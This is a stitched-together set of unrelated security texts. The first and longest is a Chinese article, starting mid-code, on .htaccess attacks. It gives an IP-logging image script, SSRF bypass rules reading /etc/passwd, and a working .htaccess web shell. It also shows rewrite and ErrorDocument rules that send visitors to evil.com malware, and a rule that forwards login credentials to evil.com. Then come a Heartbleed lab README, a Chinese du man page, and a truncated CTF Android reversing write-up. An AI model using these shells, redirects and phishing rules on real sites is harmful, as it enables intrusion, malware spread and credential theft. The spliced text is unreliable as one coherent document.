$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("log.htm", "a");
fputs($fp, "<b>$date_time</b><br>
<b>IP: </b>$ip<br>
<b>Page: </b>$page<br>
<b>Refer: </b>$refer<br>
<b>Useragent:</b>$agent <br><br>");
flock($fp, 3);
fclose($fp);
$my_img = imagecreate( 200, 80 );
$background = imagecolorallocate( $my_img, 255, 0, 255 );
$text_colour = imagecolorallocate( $my_img, 200, 200, 0 );
$line_colour = imagecolorallocate( $my_img, 128, 255, 0 );
imagestring( $my_img, 4, 30, 25, "Totally an innocent image", $text_colour );
imagesetthickness ( $my_img, 5 );
imageline( $my_img, 30, 45, 165, 45, $line_colour );
header( "Content-type: image/png" );
imagepng( $my_img );
imagecolordeallocate( $line_color );
imagecolordeallocate( $text_color );
imagecolordeallocate( $background );
imagedestroy( $my_img );
?>
```
因为`$ _SERVER ['HTTP_USER_AGENT'];` 是可以由用户控制的输入,所以这种使用.htm扩展记录收集到的信息会让你受到XSS注入攻击,我使用这个格式主要是用于格式化的目的。 如果它让你感到困惑,那么只需将.htm扩展名变成.txt
在上面的例子中,一旦图像在用户浏览器中被渲染,它将把用户的网络代理,IP地址,引用者头部和用于指纹识别的其他有用信息写入攻击者服务器上的文件。 这将允许攻击者获取关于用户位置的信息,甚至可以制作量身定制的有效载荷以攻击用户的浏览器。
因此,如果有一个网站,允许你使用远程URL设置你的个人资料图像,那么你可以包括lol.jpg作为你的头像,然后利用htaccess重定向到PHP脚本,同时输出一个图像。欺骗服务器,使其讲evil.php当做lol.jpg,最终包含图像作为您的个人资料图片,同时执行任何其他的PHP代码,与它一起运行(在这种情况下记录的IP地址和用户代理 任何人查看您的个人资料)。 当然除了使用重写规则之外,还可以使用AddType来达到相同的效果.
## 绕过WEB漏洞的过滤规则
对于基于Web的漏洞,htaccess有几个用于绕过过滤的用法。 我将在本文中讨论的两个攻击向量是服务器端请求伪造和任意文件上传。
### 服务器端请求伪造
对于那些不熟悉SSRF的人来说,它允许您使用各种URI方案来查看本地资源,而不是请求远程资源,例如,像 `http://example.com/vuln.php?url=http://somesite.com` ,那么你可以把'?url ='这里的GET参数改成localhost来探测关于特定端口上运行的服务的信息,例如:
`http://127.0.0.1:3306`
这将暴露关于在有漏洞的服务器上运行的MySQL守护进程的信息
`file:/etc/passwd`
这将允许攻击者通过SSRF实现本地文件泄露,从而允许他们读取本地系统文件的内容。
一般来说,大多数安全的网站都会有过滤器来防止SSRF发生。 SSRF有许多旁路方法,但我将专注于只允许输入为远程资源或有效(或看似有效)URL的上下文。 因此,假设攻击者在尝试重定向到localhost、127.0.0.1、0.0.0.0或file://时将被列入黑名单,那么他们可以使用htaccess设置mod_rewrite,如下所示:
```
Options +FollowSymlinks
RewriteEngine on
RewriteRule lol.jpg http://127.0.0.1:3306 [NC]
```
或读取本地文件:
```
Options +FollowSymlinks
RewriteEngine on
RewriteRule lol.jpg file:/etc/passwd [NC]
```
当然,这个技术也可以用来实现RCE,假设目标服务器上存在脆弱的服务,如sftp,gopher,memcached或类似的东西。
这可能会绕过任何黑名单,因为您可以添加 `http://example.com/lol.jpg` 作为易受攻击的脚本的输入,然后易受攻击的脚本可以请求`http://127.0.0.1:3306` 或`file:/etc/passwd` 。在原始请求`http://example.com/lol.jpg` 之后 - 导致SSRF被利用并且绕过过滤器(在本例中获取了MySQL版本或输出passwd)
不过在有很多情况下,这种方式是行不通的,但是我之前用它成功的进行过很多测试。
### 任意文件上传
除了在SSRF中使用,在某些情况下.htaccess也可以被滥用于任意文件上传。假设一个情景,一个易受攻击的网站有一个基于黑名单过滤器的文件上传表单(阻止诸如.php或.phtml的特定扩展名),那么在某些情况下,可以上传一个.htaccess文件, 导致不同程度的后果。
htaccess有一个默认的拒绝规则,防止它通过互联网访问。 如果攻击者有能力覆盖htaccess,他们需要做的第一件事就是禁用拒绝规则,以便通过定位到相关的URL路径来访问它,为此,攻击者将上传一个htaccess文件,该文件的内容类似于如下:
```
<Files ~ "^\.ht">
# overriding deny rule
# making htaccess accessible from the internet
Require all granted
Order allow,deny
Allow from all
</Files>
```
现在这意味着攻击者只需导航到URL(`http://site.com/.htaccess` )即可自由查看htaccess。如果攻击者有能力覆盖正在使用的当前.htaccess文件,并用自己的替换,那么这将允许他们在服务器上执行各种攻击,从应用程序级的DoS到全面的远程命令执行。 这是否工作依赖于哪个apache模块被启用。 如果启用了mod_info和mod_status等模块,则攻击者可以分别执行信息泄露和远程命令执行。
一旦攻击者重写了网站的原始htaccess文件并禁用了默认的拒绝规则,他们就可以通过将以下行添加到自定义的htaccess文件来执行远程命令:
`AddType application/x-httpd-php .htaccess `
这将使服务器将htaccess文件视为PHP脚本,并与上述方法配合,以覆盖易受攻击的服务器原始htaccess文件,然后攻击者可以导航到存储htaccess文件的URL,以便执行 PHP代码。 攻击者制作的有效载荷将以htaccess文件中的注释形式出现,例如:
```
AddType application/x-httpd-php .htaccess
# <?php echo "get pwned"; ?>
```
当然,这不仅限于PHP。你可以使用相同的方法来生成一个JSP脚本文件或类似的东西(全部取决于在服务器上运行的是哪种技术) - 为了做到这一点,我们需要改变AddType的值以符合所希望的代码执行。
如果出于某种原因,即使禁用拒绝规则(例如,由于HTTP守护进程或CMS特定配置文件的外部配置),也不允许访问htaccess,攻击者可以改用AddType设置一个更“无辜的”文件,如将一个JPG视为一个PHP文件。然后,可以在JPG图像中包含一些恶意PHP代码,上传图像,并导航到图像存储路径,以便执行代码。
如果攻击者利用Windows 8.3(SFN)文件名惯例的过时系统,则有可能规避基于黑名单的过滤器,该过滤器正在停止上传名为“htaccess”的文件。 .htaccess的简称可以用在这种情况下。一个攻击者可以上传一个名为“HTACCE〜1”的文件,如果8.3文件名惯例正在使用,那么这将等于上传一个名为“.htaccess”的文件 - 假设这些文件名惯例正在使用中(现在不太常见),这可以用于绕过基于签名的过滤器和用于文件上传功能的黑名单。
## 水坑攻击以及利用恶意软件感染大量用户
如果攻击者设法攻击一个网站并且具有有限的(非根)访问权限,但是仍然能够对htaccess进行修改,那么这可以使用方法进行渗透利用。我将要介绍的第一个例子是攻击者可以修改htaccess来作为一个实际的水坑攻击。
如果攻击者有一个他们想要的攻击的特定目标,他们知道该 用户的IP地址,以及用户经常浏览的网站,如果攻击者有能力编辑或覆盖htaccess文件的受害者经常访问的网站,就可以发动水坑攻击(通过部分访问或通过任意文件上传的方式覆盖当前htaccess文件的能力)。
让我们假设攻击者有一个目标,并知道他们的IP地址是151.121.2.69,他们经常访问一个名为example.com的网站 - 如果攻击者发现一个方法来覆盖example.com的htaccess文件,那么他们可以像这样设置一个htaccess规则:
```
RewriteCond %{REMOTE_ADDR} ^151\.\121\.2\.69$
RewriteCond %{REQUEST_URI} !/GetHacked.php
RewriteRule .*\.(htm|html|php)$ /GetHacked.php [R,L]
```
通过上面的例子,任何访问example.com的普通用户都可以正常浏览网站。如果受害者访问example.com,他们将被重定向到GetHacked.php(当然实际上比这个更加隐蔽,这里只是一个例子)。
一般来说,受害者将被重定向到的页面看起来与他们打算在设计方面连接到的站点完全相同(并且将具有相同的域名),但是他们将被重定向到网站上单独的,独特的页面,然后这个网站会提供恶意软件,hook用户的浏览器,或者通过零日漏洞利用他们的浏览器。
如果一切顺利,受害者完全不会意识到任何异常事情的发生。他们将像往常一样继续浏览网站,不知道他们已经成为水坑攻击的受害者。如果计划得当,这可能会导致一个高度复杂的,有针对性的对某人的袭击,并且用户完全不知道发生了什么事情。
虽然我刚刚描述的方法是针对特定受害者的有针对性的漏洞攻击,也可以通过一系列的重写规则,向网站的用户群提供恶意软件。这通常是通过检查引用者头部来查看用户来自哪个站点,并基于此将其重定向到恶意软件来实现的。
通常,想要传播恶意软件的攻击者可以获取一个受欢迎的网站的权限,然后为htaccess创建一些重写规则,从而使任何来自流行搜索引擎访问该网站的人都被重定向到恶意软件或浏览器漏洞利用。这可以这样实现:
```
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*duckduckgo.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.*
RewriteRule ^(.*)$ http://evil.com/malware.ext [R=301,L]
```
恶意黑客除了攻击网站并修改易受攻击的网站的htaccess文件以传播恶意软件或构建僵尸网络之外,此技术的另一个常见应用是将流量推送到支付流量的网站。如果一个黑客想侵入一些流行的网站并修改他们的htaccess文件来设置重定向规则,那么他们可以使得从搜索引擎到达的所有访问者都被重定向到黑客选择的站点。
这是在黑客社区赚钱的一种流行方式,因为许多网站将流量推送到他们的域名,黑客通过修改排名靠前的Alexa或Google PR排名的网站的htaccess文件的方式,将大量的流量转换成高额的报酬。
另外需要注意的是,通过在你自己的网站上使用htaccess规则,也可以作为一个防御机制。例如,想象一下你目前正在运营一个网站,并且您知道在线黑客论坛的用户正在尝试定位您的网站,那么你可以设置htaccess规则,以便任何从恶意网站直接进入您网站的人都被重定向到恶意软件,并在有机会造成任何损害之前先行反击。如果你知道来自evil-site.com的人正试图定位你的网站,那么你可以设置一个htaccess规则,如下所示:
```
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*evil-site.com
RewriteRule ^(.*)$ http://hack-the-hackers.com/malware.ext [R=301,L]
```
除了上述用恶意软件感染站点用户的方法之外,通过使用错误页面也可以实现类似的事情。 您可以添加htaccess规则,以便在触发常见的HTTP状态码错误时将用户重定向到恶意软件:
```
ErrorDocument 403 http://evil.com/payload.php
ErrorDocument 404 http://evil.com/payload.php
ErrorDocument 500 http://evil.com/payload.php
```
### 通过htaccess进行信息泄露
通过htaccess文件有两种主要的信息泄露形式。 一种需要访问受感染的服务器,另一种不需要。
由于服务器配置错误或缺少默认的拒绝规则,有时htaccess文件可以被任何人读取。 进行渗透测试时,检查htaccess是否可读是非常有用的(10次中有9次不会),所以你可以看到哪些重写规则以及其他限制或设置。 你会惊讶的发现信息可以被泄露,你会惊讶于你会经常遇到不能正确配置他们的服务器或HTTP 403的htaccess文件。
谷歌索引的大多数网站都有可读的.htaccess文件,搜索 filetype:htaccess
检查你是否可以在正在执行审核的网站上对.htaccess文件进行读操作是十分有用的。 要执行此操作,只需导航到你正在测试的网站上的以下URL:
`http://example.com/.htaccess`
通常情况下,你将收到一个HTTP 403响应,但在某些情况下,你将有权限读取.htaccess 。还值得指出的是,该文件可能并不一定是被命名为.htaccess,有几个常见的变化需要注意:
```
OLD.htaccess
1.htaccess
dot.htaccess
backup.htaccess
_.htaccess
-.htaccess
```
除此之外,htaccess将成为特定CMS内的文本文件(一些例子是Joomla和OpenCart) - 所以根据服务器运行的CMS,有时候检查htaccess.txt是否可读十分有必要。 这里是一个例子(在Joomla安装):
`http://www.nationalcrimeagency.gov.uk/htaccess.txt`

通过.htaccess进行信息泄露的第二个版本便是在攻击者对服务器的访问受限的情况下进行的。 我们假设他们不能编辑文件或执行其他操作,但是他们可以编辑.htaccess(或者通过任意文件上传的方式来替换htaccess)。
除了绕过诸如PHP安全模式和产生shell之类的限制之外,它还可以用于在服务器上泄露信息以便进一步帮助攻击。 假设系统调用被禁用,并且滥用htaccess修改php.ini(以启用系统调用)的方法不起作用,那么信息泄露可能是攻击者的下一个行动过程。
假设你可以通过一个恶意的htaccess文件来执行PHP代码,那么通过PHP的功能就可以使用明显的信息泄露手段。 假设你没有执行系统调用的能力,但仍然可以执行PHP,那么最明显的信息披露形式就是通过使用phpinfo函数。 您将首先覆盖如前所述的拒绝规则,然后您将导航到htaccess所在的URL以显示phpinfo(显示你的PHP版本,内核版本和其他有用的信息):
```
AddType application/x-httpd-php .htaccess
# <?php phpinfo(); ?>
```
另一种可能性(尽管sysadmin很容易检测到)是,您可以更改服务器端脚本的内容类型,从而允许攻击者读取PHP文件的源代码。这意味着他们将有能力在网站上执行源代码审计,使他们有可能发现更多的漏洞:
```
<FilesMatch "\.ph.*$">
SetHandler text/plain
AddType text/plain .php
</FilesMatch>
```
如果攻击者的目标是隐藏自己,那么这可能不是最好的选择。这可以通过将AddType text/plain filename.php设置为他们希望查看源代码的特定文件的名称,从而达到隐蔽的目的。一次只做一个文件会大大降低系统管理员检测到某些事情发生的机会(如果他们网站上的每个页面泄露其源代码供任何人看到,那么他们就会明显感觉到错误)。
假设攻击者具有有限的访问权限,并且缺少对PHP文件的读取权限,那么这可能是非常有价值的,因为这将使他们找到更多的关键漏洞,最终使他们能够提升权限并获得更高的访问级别。
还可以通过使用SetHandler指令和将以下几行添加到恶意htaccess文件中,从而披露 server-status和server-info:
```
SetHandler server-status
SetHandler server-info
```
这将泄漏关于服务器的有用信息,以及连接到服务器的所有用户的IP地址。 根据在目标网站上运行的技术,SetHandler还可以用于披露其他类型的信息(例如,有关LDAP配置的信息或诸如caucho-status之类的信息 - 这不会太常见,因为java servlet实际上总是通过Tomcat内的Apache而不是Resin来处理,但Tomcat和其他技术也有相应的功能)。
描述的用于执行浏览器指纹识别和IP记录用户的方法也可用于信息泄露。 PHP动态镜像可以与托管在你自己的服务器上的htaccess文件结合使用,然后攻击者可以将URL输入到目标服务器上某处的映像,从而导致目标服务器请求镜像和返回的目标服务器的IP地址写入攻击者服务器上的日志文件。 这可以用来绕过像Cloudflare这样的服务,以便揭示服务器的真实IP地址。
### 通过网上钓鱼获取登录凭据
攻击者可以通过几种不同的方式使用htaccess来获取登录凭据和对用户实施钓鱼。 我在这里讨论的方法是通过使用ErrorDocument进行鱼叉式钓鱼 - 除了能够通过使用自定义错误文档来提供恶意软件外,还可以使用HTML / CSS / JS创建文档,这意味着某些人可以轻松创建iframe 网络钓鱼来获取证书,这就像:
`ErrorDocument 403 <YourHtmlCode>`
当用户到达403页(或者攻击者选择设置的任何HTTP状态码)时,他们可以通过使用iframe或document.write() 来创建假登录页面,诱骗用户的凭证。
另一种通过在受损站点上修改htaccess来进行网络钓鱼的方法是通过用户名/密码框提示用户,然后将输入的凭证发送到由攻击者控制的远程服务器,这里是由wireghoul 创建的htaccess文件,便做到这一点:
```
#此文件将提示用户输入用户名和密码以明文形式(http basic auth)将证书发送到您的服务器
#你将需要编辑这个文件并创建一个脚本来收集服务器上的凭据
AuthType Basic
AuthName “”
AuthRemoteServer evil.com
AuthRemotePort 80
AuthRemoteURL /phish/
require valid-user
#您的脚本需要返回相应的401或200 OK响应代码到mod_auth_remote模块。
```
在这个博客系列的第2部分中,我将解释一些利用htaccess的独特和复杂的网络钓鱼方法,这几乎是无法察觉的。
### 使用htaccess来产生一个shell
如果攻击者对他们试图锁定的服务器的访问权限有限,或者是一个允许他们覆盖当前存在的htaccess文件的漏洞,那么可以使用前面描述的方法将htaccess变成一个基于web的HTTP GET shell。有时即使攻击者已经拥有对服务器的shell访问权限,但是为了维护对其原始shell的访问权限,防止被检测和删除,他们可能需要向htaccess添加额外的shell。
下面是一个功能齐全的产生shell的htaccess文件的例子:
```
#htaccess后门shell
#这是比较典型的webshell相对隐身
#覆盖拒绝规则,使htaccess可以从互联网上访问,没有这个,你会得到一个HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
#使服务器将.htaccess文件作为.php文件
AddType application/x-httpd-php .htaccess
# <?php system($_GET[‘hax’]); ?>
#要执行您将导航到的命令:
# http://vulnerable.com/.htaccess?hax=YourCommand
#如果system不能使用,然后尝试其他系统调用,例如passthru(); shell_exec();等等
#如果你仍然不能执行系统调用,请尝试通过htaccess绕过php.ini
```
一般来说,如果攻击者使用htaccess作为维护shell访问受感染站点的手段,那么他们会在htaccess文件中添加某种形式的填充/空格或附加(无害)指令,使其长度更长,以至于系统管理员可能会注意到他们的htaccess文件中存在的任何可疑的PHP代码。对于更加隐蔽的htaccess shell,我建议将非字母数字组合放入您的PHP代码中(我将在即将发布的博客文章中介绍有关维护访问受损服务器方法的非字母数字主题)。
另外,对于在PHP不可用的情况下可以在htaccess中使用的各种形式的shell的完整列表,我强烈建议查看wireghoul的"[htshells](https://github.com/wireghoul/htshells)"存储库。
|
sec-knowleage
|
# OpenSSL Heartbleed Vulnerability (CVE-2014-0160)
[中文版本(Chinese version)](README.zh-cn.md)
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.
References:
- https://heartbleed.com/
- https://filippo.io/Heartbleed
## Setup
Execute following command to start a Nginx server with OpenSSL 1.0.1c:
```
docker compose up -d
```
After the server is started, browse the `https://your-ip:8443` to see the welcome page.
> We have encountered an error when running this environment where some AMD architecture CPUs were unable to access the https page successfully. If you have a similar problem, try an Intel CPU instead.
## POC
Visit `https://filippo.io/Heartbleed` to check the result:

Run [ssltest.py](ssltest.py) with Python to obtain sensitive data (such as Cookie):

|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH DU 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
du \- 估计磁盘文件使用量
.SH 概述
\fBdu\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]...
.br
\fBdu\fP [\fI\,选项\/\fP]... \fI\,\-\-files0\-from=F\/\fP
.SH 描述
.\" Add any additional description here
.PP
计算每个文件的设备用量,目录则取总用量。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-0\fP, \fB\-\-null\fP
使每行输出以 NUL 字符结束,不添加换行符
.TP
\fB\-a\fP, \fB\-\-all\fP
输出所有文件的磁盘用量,不仅仅是目录
.TP
\fB\-\-apparent\-size\fP
print apparent sizes rather than device usage; although the apparent size is
usually smaller, it may be larger due to holes in ('sparse') files, internal
fragmentation, indirect blocks, and the like
.TP
\fB\-B\fP, \fB\-\-block\-size\fP=\fI\,大小\/\fP
以指定大小为单位对块大小进行输出;例如,\&'\-BM' 以 1,048,576 字节为单位输出大小;详情请参见下方的“SIZE 格式”部分
.TP
\fB\-b\fP, \fB\-\-bytes\fP
等效于 '\-\-apparent\-size \fB\-\-block\-size\fP=\fI\,1\/\fP'
.TP
\fB\-c\fP, \fB\-\-total\fP
显示总计信息
.TP
\fB\-D\fP, \fB\-\-dereference\-args\fP
只在符号链接显式在命令行列出时对其进行解引用
.TP
\fB\-d\fP, \fB\-\-max\-depth\fP=\fI\,N\/\fP
仅当目录(或在 \fB\-\-all\fP 选项启用时包括文件)层级不高于命令行参数指定的 N
层时输出对应目录或文件的对应大小;\fB\-\-max\-depth\fP=\fI\,0\/\fP 等效于 \fB\-\-summarize\fP
.TP
\fB\-\-files0\-from\fP=\fI\,F\/\fP
统计文件 F 中的以 NUL 空字符分隔的文件名所对应的各个文件的设备使用量;如果 F 是 "\-",则从标准输入读取文件名
.TP
\fB\-H\fP
和 \fB\-\-dereference\-args\fP(\fB\-D\fP)等效
.TP
\fB\-h\fP, \fB\-\-human\-readable\fP
以人类可读的格式输出大小(例如,1K 234M 2G)
.TP
\fB\-\-inodes\fP
列出 inode 使用信息而非块使用信息
.TP
\fB\-k\fP
等效于 \fB\-\-block\-size\fP=\fI\,1K\/\fP
.TP
\fB\-L\fP, \fB\-\-dereference\fP
解引用所有符号链接
.TP
\fB\-l\fP, \fB\-\-count\-links\fP
如果是硬连接,则重复计算其尺寸
.TP
\fB\-m\fP
等效于 \fB\-\-block\-size\fP=\fI\,1M\/\fP
.TP
\fB\-P\fP, \fB\-\-no\-dereference\fP
不跟随任何符号链接(默认行为)
.TP
\fB\-S\fP, \fB\-\-separate\-dirs\fP
不包括子目录的占用量
.TP
\fB\-\-si\fP
类似 \-h,但使用 1000 的倍数,而非 1024
.TP
\fB\-s\fP, \fB\-\-summarize\fP
只分别计算命令列中每个参数所占的总用量
.TP
\fB\-t\fP, \fB\-\-threshold\fP=\fI\,大小\/\fP
如果指定大小为正值,排除比该值更小的项,或者在值为负时排除更大的项
.TP
\fB\-\-time\fP
显示目录中或其子目录下所有文件的最后修改时间
.TP
\fB\-\-time\fP=\fI\,关键字\/\fP
显示指定关键字对应的时间而非最后修改时间:atime, access, use, ctime 或 status
.TP
\fB\-\-time\-style\fP=\fI\,格式\/\fP
使用指定格式显示时间,格式可以为:full\-iso, long\-iso, iso 或 +FORMAT;FORMAT 字符串以与 'date'
工具类似的方式解读
.TP
\fB\-X\fP, \fB\-\-exclude\-from\fP=\fI\,文件\/\fP
排除所有与指定文件所提供模式匹配的文件
.TP
\fB\-\-exclude\fP=\fI\,模式\/\fP
排除所有与所给模式匹配的文件
.TP
\fB\-x\fP, \fB\-\-one\-file\-system\fP
跳过位于不同文件系统上的目录
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
所显示的数值的单位是 \fB\-\-block\-size\fP 选项的参数、DU_BLOCK_SIZE、BLOCK_SIZE 和 BLOCKSIZE
环境变量的值中,第一个可用的大小。否则,默认单位是 1024 字节(如果 POSIXLY_CORRECT 被设定,则为 512 字节)。
.PP
大小 参数是一个整数,后面可以跟一个单位(例如:10K 指 10*1024)。可用的单位有 K、M、G、T、P、E、Z、Y(1024 的幂)以及
KB、MB、...(1000 的幂)。也可以使用二进制前缀:KiB=K、MiB=M,以此类推。
.SH PATTERNS
PATTERN is a shell pattern (not a regular expression). The pattern \fB?\&\fP
matches any one character, whereas \fB*\fP matches any string (composed of
zero, one or multiple characters). For example, \fB*.o\fP will match any files
whose names end in \fB.o\fP. Therefore, the command
.IP
\fBdu \-\-exclude=\(aq*.o\(aq\fP
.PP
will skip all files and subdirectories ending in \fB.o\fP (including the file
\&\fB.o\fP itself).
.SH 作者
由 Torbjorn Granlund、David MacKenzie、Paul Eggert 和 Jim Meyering 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/du>
.br
或者在本地使用: info \(aq(coreutils) du invocation\(aq
|
sec-knowleage
|
# Johannesburg - Hideout
Category: Reversing
## Description
> Johannesburg is hot, and you are on your way to the secret lair. It seems like it is well fortified, even though you are expected under the alias of the assassin, perhaps it will be a better idea to sneak inside the lair, unseen? You climb up on a brick wall, and jump over it. On the other side you spot a lot of guards, quick, hide in a bush. Now you have to sneak past the guards into the main building's entrance.
>
> Challenge: Konski-Hiakawa Law of Droids (reversing)
>
> In this challenge, you have to find the flag using memory forensics. Good luck! Note, surround the flag with CTF{...} to submit it. Note, API Level 25 is what you're looking for.
Two files were attached: `bzImage` and `gCTF.apk`.
## Solution
We start by extracting the `apk` file and poking around:
```console
┌──(user@kali)-[/media/sf_CTFs/google/9_Johannesburg_-_Hideout]
└─$ ~/utils/android/jadx/build/jadx/bin/jadx -d output gCTF.apk
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 1
```
We get two interesting files.
`MainActivity.java`:
```java
package gctf.researchctf;
import android.app.Activity;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.io.File;
import java.io.FileOutputStream;
import static android.os.Environment.DIRECTORY_DOWNLOADS;
public class MainActivity extends Activity {
private EditText tv = null;
// Used to load the 'native-lib' library on application startup.
static {
System.loadLibrary("native-lib");
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try{
File bf = new File(Environment.getExternalStoragePublicDirectory(DIRECTORY_DOWNLOADS), "Raven.txt");
File f = new File(getApplicationContext().getFilesDir(), "SusanSue.txt");
FileOutputStream fos = new FileOutputStream(f);
fos.write("Sctf:key:".getBytes());
fos.close();
FileOutputStream bkfos = new FileOutputStream(bf);
bkfos.write("BKUP:KEY:SecretKey:P@$$".getBytes());
bkfos.close();
}catch(Exception e){
e.printStackTrace();
}
tv = findViewById(R.id.editTextTextPersonName);
tv.setText(stringFromJNI());
}
/**
* A native method that is implemented by the 'native-lib' native library,
* which is packaged with this application.
*/
public native String stringFromJNI();
public native String getCTF(String enteredKey);
public native int validateCTF(String enteredKey);
public void read(View view) {
try{
File f = new File(getApplicationContext().getFilesDir(), "SusanSue.txt");
int s = validateCTF(tv.getText().toString());
if(s == 0){
Log.v("WATCHOUT", "You are the winner");
Toast.makeText(getApplicationContext(), "YOU ARE THE WINNER!!!!", Toast.LENGTH_LONG).show();
}else{
Log.v("WATCHOUT", "Please keep trying");
Toast.makeText(getApplicationContext(), "Please keep trying!!!!", Toast.LENGTH_LONG).show();
}
}catch (Exception e){
e.printStackTrace();
}
}
}
```
`native-lib.cpp`:
```cpp
#include <jni.h>
#include <string>
extern "C" JNIEXPORT jstring JNICALL
Java_gctf_researchctf_MainActivity_stringFromJNI(
JNIEnv* env,
jobject /* this */) {
std::string hello = "Hello from C++";
FILE* tgt_filez_handle = NULL;
//tgt_filez_handle = fopen(reinterpret_cast<const char *>(tgt_filez), "w");
tgt_filez_handle = fopen("/data/data/gctf.researchctf/files/SusanSue.txt", "w");
const char s[] = {'g', 'C', 'T', 'F', ':', 'K', 'E', 'Y', ':', '\0'};
fputs(s, tgt_filez_handle);
fclose(tgt_filez_handle);
return env->NewStringUTF(hello.c_str());
}
extern "C"
JNIEXPORT jstring JNICALL
Java_gctf_researchctf_MainActivity_getCTF(JNIEnv *env, jobject thiz, jstring entered_key) {
FILE* tgt_file_handle = fopen("/data/data/gctf.researchctf/files/SusanSue.txt", "r");
char *content = static_cast<char *>(calloc(256, sizeof(char)));
//fgets(content, 256, tgt_file_handle);
fscanf(tgt_file_handle, "%s", content);
fclose(tgt_file_handle);
return env->NewStringUTF(content);
}
extern "C"
JNIEXPORT jint JNICALL
Java_gctf_researchctf_MainActivity_validateCTF(JNIEnv *env, jobject thiz, jstring entered_key) {
FILE* tgt_file_handle = fopen("/data/data/gctf.researchctf/files/SusanSue.txt", "r");
char *content = static_cast<char *>(calloc(10, sizeof(char)));
fgets(content, 10, tgt_file_handle);
//fscanf(tgt_file_handle, "%s", content);
fclose(tgt_file_handle);
const char* ch = env->GetStringUTFChars(entered_key, 0);
env->ReleaseStringUTFChars(entered_key, ch);
//__android_log_print(ANDROID_LOG_VERBOSE, APPNAME, "entered <%s>", reinterpret_cast<const char *>(ch));
//printf("<%s>", ch);
//__android_log_print(ANDROID_LOG_VERBOSE, APPNAME, "CONTENT <%s>", reinterpret_cast<const char *>(content));
//printf("<%s>", content);
int comp = strcmp(content, reinterpret_cast<const char *>(ch));
//printf("<%d>", comp);
return comp;
}
```
Assuming we want to arrive to `Log.v("WATCHOUT", "You are the winner")`, we need `validateCTF` to return `0`. So, we inspect the code for `Java_gctf_researchctf_MainActivity_validateCTF` and see that we need to return the `10` characters which are saved in `/data/data/gctf.researchctf/files/SusanSue.txt` so that `strcmp` will return `0`. `SusanSue.txt` is set by `onCreate` to `Sctf:key:`, then by `stringFromJNI` to `gCTF:KEY:`. However, none are accepted as the flag, so what's going on?
To answer that, we need to inspect `bzImage`, which is a format that contains a compressed `vmlinux` kernel. We'll use [vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf) to extract it and obtain debug symbols.
```console
┌──(user@kali)-[~/CTFs/google/9_Johannesburg_-_Hideout]
└─$ ~/utils/reversing/vmlinux-to-elf/vmlinux-to-elf bzImage outputKernel.elf
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompressed binary)
[+] Version string: Linux version 3.10.0+ (vldinesh@lab) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #31 SMP PREEMPT Sun Jul 4 11:14:54 IST 2021
[+] Guessed architecture: x86_64 successfully in 2.68 seconds
[+] Found kallsyms_token_table at file offset 0x00bb5bd0
[+] Found kallsyms_token_index at file offset 0x00bb5f28
[+] Found kallsyms_markers at file offset 0x00bb57c8
[+] Found kallsyms_names at file offset 0x00b56348
[+] Found kallsyms_num_syms at file offset 0x00b56340
[i] Null addresses overall: 0.0060983 %
[+] Found kallsyms_addresses at file offset 0x00b16260
[+] Successfully wrote the new ELF kernel to outputKernel.elf
```
Now we can open the ELF in Ghidra. Searching for interesting strings, we find:
```c
undefined8
sys_write(ulong param_1,char *param_2,ulong *param_3,undefined8 param_4,ulong *param_5,
long **param_6)
{
ulong *puVar1;
char *pcVar2;
undefined8 uVar3;
ulong **ppuVar4;
long in_GS_OFFSET;
undefined auVar5 [16];
ulong *puStack48;
auVar5 = fget_light(param_1,(undefined4 *)&puStack48,param_3,param_4,param_5);
puVar1 = SUB168(auVar5,0);
pcVar2 = strstr((char *)(*(long *)(&DAT_0000a7c0 + in_GS_OFFSET) + 0x5c0),"researchctf");
if ((pcVar2 != (char *)0x0) && (param_2 != (char *)0x0)) {
pcVar2 = strstr(param_2,"gCTF:KEY:");
if (pcVar2 != (char *)0x0) {
param_3 = (ulong *)&DAT_00000009;
strcpy(param_2,"SB:575756");
}
}
